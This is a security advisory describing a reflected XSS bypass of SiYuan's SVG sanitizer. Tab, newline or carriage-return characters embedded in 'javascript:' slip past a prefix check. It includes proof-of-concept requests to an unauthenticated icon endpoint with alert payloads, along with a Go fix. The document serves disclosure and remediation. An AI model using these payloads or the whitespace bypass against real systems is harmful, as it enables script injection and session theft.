javascript: URI — Unauthenticated XSSSiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (	), newline ( ), or carriage return ( ) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS.
This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), distinct from the <animate> element bypass.
kernel/util/misc.goSanitizeSVG() (lines 234-319)strings.HasPrefix(val, "javascript:")GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)The sanitizer uses Go's html.Parse which decodes HTML entities in attribute values. When the input contains java	script:alert(1), the parser decodes 	 to a literal tab character (U+0009). The sanitizer then checks:
val := strings.TrimSpace(strings.ToLower(a.Val))
// val is now "java\tscript:alert(1)"
if strings.HasPrefix(val, "javascript:") {
continue // This check FAILS — tab breaks the prefix match
}
strings.TrimSpace only removes leading/trailing whitespace, not internal whitespace. The HasPrefix check fails because "java\tscript:..." does not start with "javascript:".
However, per the WHATWG URL Standard, step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses java\tscript:alert(1) as javascript:alert(1).
	)GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java	script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
)GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
)GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j	a v a	s c r	i p t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
<a href="java	script:alert(document.domain)">java\tscript:alert(document.domain)TrimSpace(ToLower(val)) = java\tscript:alert(document.domain) (tab preserved in middle)"java\tscript:..." does NOT start with "javascript:" → passes throughjavascript:alert(document.domain)Same as CVE-2026-29183 / advisory #01:
getDynamicIcon URLContent-Type: image/svg+xml<animate> element bypass (advisory #01) — different root causeReplace the simple HasPrefix check with whitespace-stripped comparison:
// Strip ASCII tab, newline, CR before checking for javascript: prefix
cleaned := strings.Map(func(r rune) rune {
if r == '\t' || r == '\n' || r == '\r' {
return -1 // Remove character
}
return r
}, val)
if key == "href" || key == "xlink:href" || key == "xlinkhref" {
if strings.HasPrefix(cleaned, "javascript:") {
continue
}
if strings.HasPrefix(cleaned, "data:") {
if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") {
continue
}
}
}
This should also be applied to the data: URI check, as the same whitespace bypass could potentially affect it.
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:57:56Z",
"nvd_published_at": "2026-03-10T21:16:50Z",
"severity": "MODERATE"
}